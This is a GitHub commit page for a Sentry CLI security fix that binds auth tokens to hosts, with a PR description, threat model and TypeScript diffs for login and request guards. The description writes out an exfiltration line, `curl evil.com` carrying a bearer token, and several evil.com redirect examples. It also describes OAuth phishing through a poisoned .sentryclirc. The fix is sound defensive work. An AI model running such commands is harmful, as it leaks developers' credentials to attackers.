Skip to content

Commit 8696b51

Browse files
BYKBurak Yigit Kaya
andauthored
security: scope tokens to hosts to prevent credential exfiltration (#844)
## Summary Closes the "untrusted input redirects credentialed requests to an attacker host" vulnerability class. Three CVE-class shapes: 1. **URL argument** (`sentry-url-parser.ts`): `sentry issue view https://evil.com/...` previously wrote `env.SENTRY_HOST=https://evil.com` unconditionally → every subsequent authenticated fetch / OAuth refresh sent credentials to the attacker. 2. **`.sentryclirc` injection** (`sentryclirc.ts`): a committed `.sentryclirc` in a cloned repo could set `[defaults] url = https://evil.com`. With `SENTRY_AUTH_TOKEN` in env and `SENTRY_HOST` unset, the env-shim wrote the attacker's URL and preserved the real token for routing there. 3. **Share URL custom headers** (`api/issues.ts`): `getSharedIssue` attached `SENTRY_CUSTOM_HEADERS` (IAP tokens, mTLS) to any non-SaaS share URL. Plus a phishing vector also closed: 4. **OAuth-flow phishing** via the same `.sentryclirc` channel: poisoned rc URL → CLI directs the user's browser to `<attacker>/oauth/authorize/...`, attacker serves a Sentry-cloned login page, captures the developer's SSO credentials. Worse than a single token leak (compromises every service the SSO covers). ## Fix — Scope tokens to hosts Tokens are bound to a specific Sentry host at issuance time. Routing decisions (URL args, `.sentryclirc`, env vars) are decoupled from credential decisions: credentials simply aren't attached when destination ≠ token host. ### Trust establishment `sentry auth login --url <url>` is the **only** way to establish trust for a new host. URL arguments, `.sentryclirc` files, and `auth login` against a host the rc shim wrote are rejected when the host isn't already trusted. | Source of non-SaaS URL | Matches token | Doesn't match | No token | |---|---|---|---| | URL arg (`sentry <cmd> <url>`) | Proceed | Throw | Throw | | `.sentryclirc [defaults] url` | Proceed | Throw | Throw | | `auth login` (rc-poisoned host) | — | Throw (phishing) | Throw (phishing) | | `auth login --token X` (rc-poisoned) | — | Throw (token leak) | Throw (token leak) | | `auth login --url <url>` | — | — | Proceed (trust establishment) | SaaS URLs (`*.sentry.io`) always proceed — the SaaS equivalence class covers regional silos and org subdomains. ### Architecture - `auth` table gains `host TEXT` column (schema v16). Lazy migration backfills NULL hosts from the boot-time env snapshot. - `src/lib/token-host.ts` — origin normalization, SaaS-aware `isHostTrusted`, `getActiveTokenHost`. Process-local trust extension for region URLs (`db/regions.ts`) so authenticated multi-region fan-out works. - `src/lib/env-token-host.ts` — captures the env-token's scope from `SENTRY_HOST`/`SENTRY_URL` at boot, BEFORE `.sentryclirc` shim can mutate env. `.sentryclirc` values intentionally NOT trusted for scoping. - `src/lib/token-claims.ts` — defensive parser for the `sntrys_` org-auth-token format. Used as (a) UX fallback in `captureEnvTokenHost` when env doesn't provide a host, and (b) defense-in-depth at the fetch layer (refuse to attach a token whose claim disagrees with the request origin). - `sentry auth login --url <url>` flag added; persists host with the stored token. ### Enforcement layers - **Entry-point guards**: `applySentryUrlContext`, `applySentryCliRcEnvShim`, `refuseLoginToUntrustedHost` reject mismatched hosts before any credentialed I/O. - **Fetch-layer defense in depth**: `prepareHeaders` and `refreshAccessToken` re-check origin before attaching credentials. `applyCustomHeaders` is URL-scoped — IAP/mTLS tokens never attach to untrusted hosts. ## CI hardening recommendation Sentry org-auth tokens (`sntrys_` prefix) embed an unsigned `url` claim recording the issuing host. The CLI uses this claim as a defense-in-depth signal: a request whose origin disagrees with the claim is refused even when the stored host matches the request origin. For CI environments where one step can influence another step's environment (e.g. GitHub Actions `$GITHUB_ENV`), `sntrys_` tokens are recommended over `sntryu_` user-auth tokens. The claim provides scope binding that env vars alone cannot — an attacker who can poison `SENTRY_HOST` but not the token cannot redirect the token's destination. ## Threat model — explicit non-goals - **Arbitrary code execution in a CI step that has read access to `SENTRY_AUTH_TOKEN`**: out of scope. Such a step can `curl evil.com -H "Authorization: Bearer $TOKEN"` directly, bypassing the CLI entirely. - **Layered-CI env injection against `sntryu_` / OAuth tokens** (no claim available): documented as a workflow-design concern. Recommendation: use `sntrys_` for CI. - **`.envrc` / direnv**: out of scope (not loaded by this CLI). - **User pasting an attacker-supplied token**: out of scope. Any token the user voluntarily configures is trusted at the user's discretion. ## Migration UX - OAuth rows with NULL `host`: silent lazy migration from boot-time env snapshot. One `info` log line. - `.sentryclirc` with repo-local non-SaaS url that doesn't match the active token: first command in the repo after upgrade throws `CliError` with an actionable message. - Users with matching configs are unaffected. ## Tests - `test/lib/security/` — 7 attack regression suites covering all four shapes + fetch-layer defense-in-depth. - `test/lib/token-{host,claims}.{test,property.test}.ts` — SaaS equivalence, subdomain/lookalike resistance, claim parsing, origin normalization invariants via fast-check. - `test/lib/env-token-host.test.ts` — snapshot isolation from `.sentryclirc` env writes. - `test/lib/db/auth.host.test.ts` — persistence + NULL-host lazy migration + clearAuth eviction semantics. - 6052 unit + 130 e2e tests pass. ## Closes - #848 (UX: scope env-supplied `sntrys_` tokens from embedded url claim) — implemented. Plan file with full design rationale: `.opencode/plans/1777023782662-proud-circuit.md`. --------- Co-authored-by: Burak Yigit Kaya <byk@byk.im>
1 parent b14c22b commit 8696b51

45 files changed

Lines changed: 3739 additions & 116 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

plugins/sentry-cli/skills/sentry-cli/references/auth.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ Authenticate with Sentry
1919
- `--token <value> - Authenticate using an API token instead of OAuth`
2020
- `--timeout <value> - Timeout for OAuth flow in seconds (default: 900) - (default: "900")`
2121
- `--force - Re-authenticate without prompting`
22+
- `--url <value> - Sentry instance URL to authenticate against (e.g. https://sentry.example.com). Required for self-hosted; defaults to SaaS (https://sentry.io).`
2223

2324
**Examples:**
2425

src/cli.ts

Lines changed: 20 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@
1111
*/
1212

1313
import { getEnv } from "./lib/env.js";
14+
import { captureEnvTokenHost } from "./lib/env-token-host.js";
15+
import { CliError } from "./lib/errors.js";
1416
import { applySentryCliRcEnvShim } from "./lib/sentryclirc.js";
1517

1618
/**
@@ -20,6 +22,11 @@ import { applySentryCliRcEnvShim } from "./lib/sentryclirc.js";
2022
* to `findProjectRoot` and `loadSentryCliRc` are cache hits.
2123
*/
2224
async function preloadProjectContext(cwd: string): Promise<void> {
25+
// Snapshot env-token host BEFORE anything mutates env.SENTRY_HOST/URL
26+
// (the .sentryclirc shim or the default-URL fallback below). Pins the
27+
// env-token's trust scope to the user's shell, not a repo-local file.
28+
captureEnvTokenHost();
29+
2330
// Dynamic import keeps the heavy DSN/DB modules out of the completion fast-path
2431
const [{ findProjectRoot }, { setCachedProjectRoot }] = await Promise.all([
2532
import("./lib/dsn/project-root.js"),
@@ -32,13 +39,12 @@ async function preloadProjectContext(cwd: string): Promise<void> {
3239
reason: result.reason,
3340
});
3441

35-
// Apply .sentryclirc env shim (token, URL) — sentryclirc cache was
36-
// populated as a side effect of findProjectRoot's walk
42+
// Apply .sentryclirc env shim (token + URL). The URL trust check is
43+
// deferred to buildCommand's wrapper where commands can opt out via
44+
// skipRcUrlCheck (used by auth login/logout).
3745
await applySentryCliRcEnvShim(cwd);
3846

3947
// Apply persistent URL default (lower priority than env vars and .sentryclirc).
40-
// Same mechanism as .sentryclirc — writes to env.SENTRY_URL so all downstream
41-
// URL resolution code picks it up automatically.
4248
const env = getEnv();
4349
if (!(env.SENTRY_HOST?.trim() || env.SENTRY_URL?.trim())) {
4450
try {
@@ -467,11 +473,18 @@ export async function startCli(): Promise<void> {
467473

468474
// Walk up from CWD once to find project root AND .sentryclirc config.
469475
// Caches both so later findProjectRoot / loadSentryCliRc calls are hits.
470-
// Non-fatal — the CLI can still work via env vars and DSN detection.
476+
// Most failures here are non-fatal (unreadable rc file, missing project
477+
// markers), but `CliError` from the rc shim's host-scoping check is an
478+
// actionable rejection that must surface to the user.
471479
try {
472480
await preloadProjectContext(process.cwd());
473-
} catch {
474-
// Gracefully degrade: project context is optional for CLI operation.
481+
} catch (err) {
482+
if (err instanceof CliError) {
483+
process.stderr.write(`${err.format()}\n`);
484+
process.exitCode = err.exitCode;
485+
return;
486+
}
487+
// Gracefully degrade: project context is optional.
475488
}
476489

477490
return runCli(args).catch((err) => {

src/commands/auth/login.ts

Lines changed: 157 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ import {
66
listOrganizationsUncached,
77
} from "../../lib/api-client.js";
88
import { buildCommand, numberParser } from "../../lib/command.js";
9+
import { DEFAULT_SENTRY_URL, normalizeUrl } from "../../lib/constants.js";
910
import {
1011
clearAuth,
1112
getActiveEnvVarName,
@@ -14,9 +15,15 @@ import {
1415
isEnvTokenActive,
1516
setAuthToken,
1617
} from "../../lib/db/auth.js";
18+
import { setDefaultUrl } from "../../lib/db/defaults.js";
1719
import { getDbPath } from "../../lib/db/index.js";
1820
import { getUserInfo, setUserInfo } from "../../lib/db/user.js";
19-
import { AuthError } from "../../lib/errors.js";
21+
import { getEnv } from "../../lib/env.js";
22+
import {
23+
AuthError,
24+
HostScopeError,
25+
ValidationError,
26+
} from "../../lib/errors.js";
2027
import { success } from "../../lib/formatters/colors.js";
2128
import {
2229
formatDuration,
@@ -30,6 +37,15 @@ import {
3037
} from "../../lib/interactive-login.js";
3138
import { logger } from "../../lib/logger.js";
3239
import { clearResponseCache } from "../../lib/response-cache.js";
40+
import {
41+
isSaaSTrustOrigin,
42+
normalizeOrigin,
43+
normalizeUserInputToOrigin,
44+
} from "../../lib/sentry-urls.js";
45+
import {
46+
isLoginTrustAnchorFor,
47+
registerLoginTrustAnchor,
48+
} from "../../lib/token-host.js";
3349

3450
const log = logger.withTag("auth.login");
3551

@@ -56,8 +72,118 @@ type LoginFlags = {
5672
readonly token?: string;
5773
readonly timeout: number;
5874
readonly force: boolean;
75+
readonly url?: string;
5976
};
6077

78+
/**
79+
* Normalize and validate the `--url` flag value. Accepts bare hostnames
80+
* and full URLs; returns the normalized origin.
81+
*/
82+
/** @internal exported for testing */
83+
export function parseLoginUrl(raw: string): string {
84+
const prefixed = normalizeUrl(raw);
85+
if (!prefixed) {
86+
throw new ValidationError("--url cannot be empty", "url");
87+
}
88+
const origin = normalizeOrigin(prefixed);
89+
if (!origin) {
90+
throw new ValidationError(`--url is not a valid URL: ${raw}`, "url");
91+
}
92+
return origin;
93+
}
94+
95+
/**
96+
* Refuse `auth login` against a host that came from an untrusted channel
97+
* (rc-shim bypass wrote env.SENTRY_URL with no matching trust anchor).
98+
*
99+
* Two distinct attack shapes are blocked here:
100+
*
101+
* 1. **Token leak (`auth login --token X`)**: without the refusal, login
102+
* validation POSTs the user's existing API token to the attacker's
103+
* host — direct credential exfiltration.
104+
*
105+
* 2. **Phishing (`auth login` OAuth device flow)**: the CLI directs the
106+
* user's browser to `<attacker-host>/oauth/authorize/...`. A
107+
* homograph / look-alike domain plus a Sentry-cloned login page can
108+
* capture the user's SSO credentials (Google, GitHub, etc.) — much
109+
* worse than a single token leak because it compromises every
110+
* service the SSO covers. `.sentryclirc` is a stealthy phishing
111+
* vector because it slips through code review more easily than a
112+
* `curl evil.com` would.
113+
*
114+
* `applyLoginUrl` only registers a trust anchor when the host comes from
115+
* a trusted source (`--url` flag or boot-time env snapshot), so "no
116+
* matching anchor" is the load-bearing signal that the host arrived via
117+
* an untrusted channel.
118+
*/
119+
function refuseLoginToUntrustedHost(
120+
flags: LoginFlags,
121+
effectiveHost: string
122+
): void {
123+
if (
124+
flags.url ||
125+
isSaaSTrustOrigin(effectiveHost) ||
126+
isLoginTrustAnchorFor(effectiveHost)
127+
) {
128+
return;
129+
}
130+
const tokenHint = flags.token ? " --token <token>" : "";
131+
throw new HostScopeError(
132+
`Refusing to log in against ${effectiveHost} without explicit --url.\n` +
133+
"Pass the host explicitly to confirm you trust it:\n" +
134+
` sentry auth login --url ${effectiveHost}${tokenHint}`
135+
);
136+
}
137+
138+
/**
139+
* Persist a non-SaaS `--url` host as the stored default so subsequent CLI
140+
* invocations route correctly without requiring `SENTRY_HOST`. Only writes
141+
* when `--url` was explicitly passed; env/rc-sourced values persist
142+
* through those channels. Non-fatal on DB failure.
143+
*/
144+
function persistLoginUrlAsDefault(
145+
flagUrl: string | undefined,
146+
effectiveHost: string
147+
): void {
148+
if (!flagUrl || isSaaSTrustOrigin(effectiveHost)) {
149+
return;
150+
}
151+
try {
152+
setDefaultUrl(effectiveHost);
153+
} catch {
154+
log.debug(
155+
`Could not persist default URL to DB; host is recorded on the stored token. Set SENTRY_HOST or run 'sentry cli defaults url ${effectiveHost}' if subsequent commands route incorrectly.`
156+
);
157+
}
158+
}
159+
160+
/**
161+
* When `--url` is passed, set `env.SENTRY_HOST`/`env.SENTRY_URL` so the
162+
* device flow and token refresh hit the requested host. Returns the
163+
* effective host so callers can record it with {@link setAuthToken}.
164+
*
165+
* Registers a login trust anchor (consumed by {@link applyCustomHeaders}
166+
* for IAP onboarding) only when `--url` is explicitly passed — the user's
167+
* argv is the only trusted source for this. When `--url` is absent, the
168+
* effective host comes from current env (which may have been written by the
169+
* `.sentryclirc` shim) and is NOT registered as a trust anchor.
170+
*/
171+
export function applyLoginUrl(url: string | undefined): string {
172+
const env = getEnv();
173+
174+
if (url) {
175+
env.SENTRY_HOST = url;
176+
env.SENTRY_URL = url;
177+
registerLoginTrustAnchor(url);
178+
return url;
179+
}
180+
181+
return (
182+
normalizeUserInputToOrigin(env.SENTRY_HOST || env.SENTRY_URL) ??
183+
DEFAULT_SENTRY_URL
184+
);
185+
}
186+
61187
/**
62188
* Handle the case where the user is already authenticated.
63189
*
@@ -113,12 +239,17 @@ async function handleExistingAuth(force: boolean): Promise<boolean> {
113239

114240
export const loginCommand = buildCommand({
115241
auth: false,
242+
skipRcUrlCheck: true,
116243
docs: {
117244
brief: "Authenticate with Sentry",
118245
fullDescription:
119246
"Log in to Sentry using OAuth or an API token.\n\n" +
120247
"The OAuth flow uses a device code - you'll be given a code to enter at a URL.\n" +
121-
"Alternatively, use --token to authenticate with an existing API token.",
248+
"Alternatively, use --token to authenticate with an existing API token.\n\n" +
249+
"For self-hosted Sentry, pass --url <url> to authenticate against that\n" +
250+
"instance. This is the ONLY way to trust a new Sentry host — URL\n" +
251+
"arguments and config files are refused when they don't match the\n" +
252+
"currently-authenticated host.",
122253
},
123254
parameters: {
124255
flags: {
@@ -140,10 +271,24 @@ export const loginCommand = buildCommand({
140271
brief: "Re-authenticate without prompting",
141272
default: false,
142273
},
274+
url: {
275+
kind: "parsed",
276+
parse: parseLoginUrl,
277+
brief:
278+
"Sentry instance URL to authenticate against (e.g. https://sentry.example.com). " +
279+
"Required for self-hosted; defaults to SaaS (https://sentry.io).",
280+
optional: true,
281+
},
143282
},
144283
},
145284
output: { human: formatLoginResult },
146285
async *func(this: SentryContext, flags: LoginFlags) {
286+
// Apply --url first so the device flow / token refresh target the
287+
// requested instance. Default URL persistence is deferred until login
288+
// succeeds — see persistLoginUrlAsDefault calls below.
289+
const effectiveHost = applyLoginUrl(flags.url);
290+
refuseLoginToUntrustedHost(flags, effectiveHost);
291+
147292
// Check if already authenticated and handle re-authentication
148293
if (isAuthenticated()) {
149294
const shouldProceed = await handleExistingAuth(flags.force);
@@ -161,8 +306,10 @@ export const loginCommand = buildCommand({
161306

162307
// Token-based authentication
163308
if (flags.token) {
164-
// Save token first, then validate by fetching user regions
165-
await setAuthToken(flags.token);
309+
// Save token first (with host scope), then validate by fetching user regions
310+
await setAuthToken(flags.token, undefined, undefined, {
311+
host: effectiveHost,
312+
});
166313

167314
// Validate token by fetching user regions
168315
try {
@@ -176,6 +323,9 @@ export const loginCommand = buildCommand({
176323
);
177324
}
178325

326+
// Login succeeded — persist default URL for subsequent invocations.
327+
persistLoginUrlAsDefault(flags.url, effectiveHost);
328+
179329
// Fetch and cache user info via /auth/ (works with all token types).
180330
// A transient failure here must not block login — the token is already valid.
181331
const result: LoginResult = {
@@ -201,12 +351,14 @@ export const loginCommand = buildCommand({
201351
return yield new CommandOutput(result);
202352
}
203353

204-
// OAuth device flow
354+
// OAuth device flow (host scope recorded via completeOAuthFlow → setAuthToken)
205355
const result = await runInteractiveLogin({
206356
timeout: flags.timeout * 1000,
207357
});
208358

209359
if (result) {
360+
// Login succeeded — persist default URL for subsequent invocations.
361+
persistLoginUrlAsDefault(flags.url, effectiveHost);
210362
// Warm the org + region cache so the first real command is fast.
211363
// Fire-and-forget — login already succeeded, caching is best-effort.
212364
warmOrgCache();

src/commands/auth/logout.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@ export type LogoutResult = {
3030

3131
export const logoutCommand = buildCommand({
3232
auth: false,
33+
skipRcUrlCheck: true,
3334
docs: {
3435
brief: "Log out of Sentry",
3536
fullDescription:

src/lib/api/issues.ts

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -669,7 +669,9 @@ export async function getSharedIssue(
669669
): Promise<{ groupID: string }> {
670670
const url = `${baseUrl}/api/0/shared/issues/${encodeURIComponent(shareId)}/`;
671671
const headers = new Headers({ "Content-Type": "application/json" });
672-
applyCustomHeaders(headers);
672+
// URL-scoped: headers only attach when `url`'s origin matches the trusted
673+
// host, so IAP tokens etc. can't leak to an attacker-controlled share URL.
674+
applyCustomHeaders(headers, url);
673675
const response = await fetch(url, { headers });
674676

675677
if (!response.ok) {

src/lib/api/organizations.ts

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -165,7 +165,9 @@ export async function listOrganizations(): Promise<SentryOrganization[]> {
165165
export async function listOrganizationsUncached(): Promise<
166166
SentryOrganization[]
167167
> {
168-
const { setOrgRegions } = await import("../db/regions.js");
168+
const { registerTrustedRegionUrls, setOrgRegions } = await import(
169+
"../db/regions.js"
170+
);
169171

170172
// Self-hosted instances may not have the regions endpoint (404)
171173
const regionsResult = await withAuthGuard(() => getUserRegions());
@@ -187,6 +189,11 @@ export async function listOrganizationsUncached(): Promise<
187189
return orgs;
188190
}
189191

192+
// Extend the trust class BEFORE fan-out so the per-region requests
193+
// pass the host-scoping guard. setOrgRegions later persists these
194+
// (and re-registers them, idempotent) but only after fan-out completes.
195+
registerTrustedRegionUrls(regions.map((r) => r.url));
196+
190197
const settled = await Promise.allSettled(
191198
regions.map(async (region) => {
192199
const orgs = await listOrganizationsInRegion(region.url);
@@ -233,6 +240,9 @@ export async function listOrganizationsUncached(): Promise<
233240
orgName: r.org.name,
234241
orgRole: (r.org as Record<string, unknown>).orgRole as string | undefined,
235242
}));
243+
// setOrgRegions persists AND extends the in-process trust class to
244+
// include any per-org regionUrl from links (may differ from the
245+
// /users/me/regions/ response when the SDK returns a more specific URL).
236246
setOrgRegions(regionEntries);
237247

238248
return orgs;

src/lib/command.ts

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -165,6 +165,14 @@ type LocalCommandBuilderArguments<
165165
* (e.g. `auth login`, `auth logout`, `auth status`, `help`, `cli upgrade`).
166166
*/
167167
readonly auth?: boolean;
168+
/**
169+
* Skip the `.sentryclirc` URL trust check. Defaults to `false`.
170+
*
171+
* Set to `true` for commands that establish or tear down host trust
172+
* (`auth login`, `auth logout`) — they must run even when a
173+
* repo-local `.sentryclirc` URL mismatches the current token.
174+
*/
175+
readonly skipRcUrlCheck?: boolean;
168176
};
169177

170178
// ---------------------------------------------------------------------------
@@ -344,6 +352,7 @@ export function buildCommand<
344352
const originalFunc = builderArgs.func;
345353
const outputConfig = builderArgs.output;
346354
const requiresAuth = builderArgs.auth !== false;
355+
const skipRcUrlCheck = builderArgs.skipRcUrlCheck === true;
347356

348357
// Merge logging flags into the command's flag definitions.
349358
// Quoted keys produce kebab-case CLI flags: "log-level" → --log-level
@@ -608,6 +617,13 @@ export function buildCommand<
608617
throw new AuthError("not_authenticated");
609618
}
610619

620+
// Validate rc-sourced URL against the active token's host. Deferred
621+
// to here (instead of boot) so commands can opt out via skipRcUrlCheck.
622+
if (!skipRcUrlCheck && "cwd" in this) {
623+
const { assertRcUrlTrusted } = await import("./sentryclirc.js");
624+
await assertRcUrlTrusted(this.cwd as string);
625+
}
626+
611627
// Execution phase: core command logic, API calls, org/project resolution
612628
const returned = await withTracing(
613629
"exec",

0 commit comments

Comments
 (0)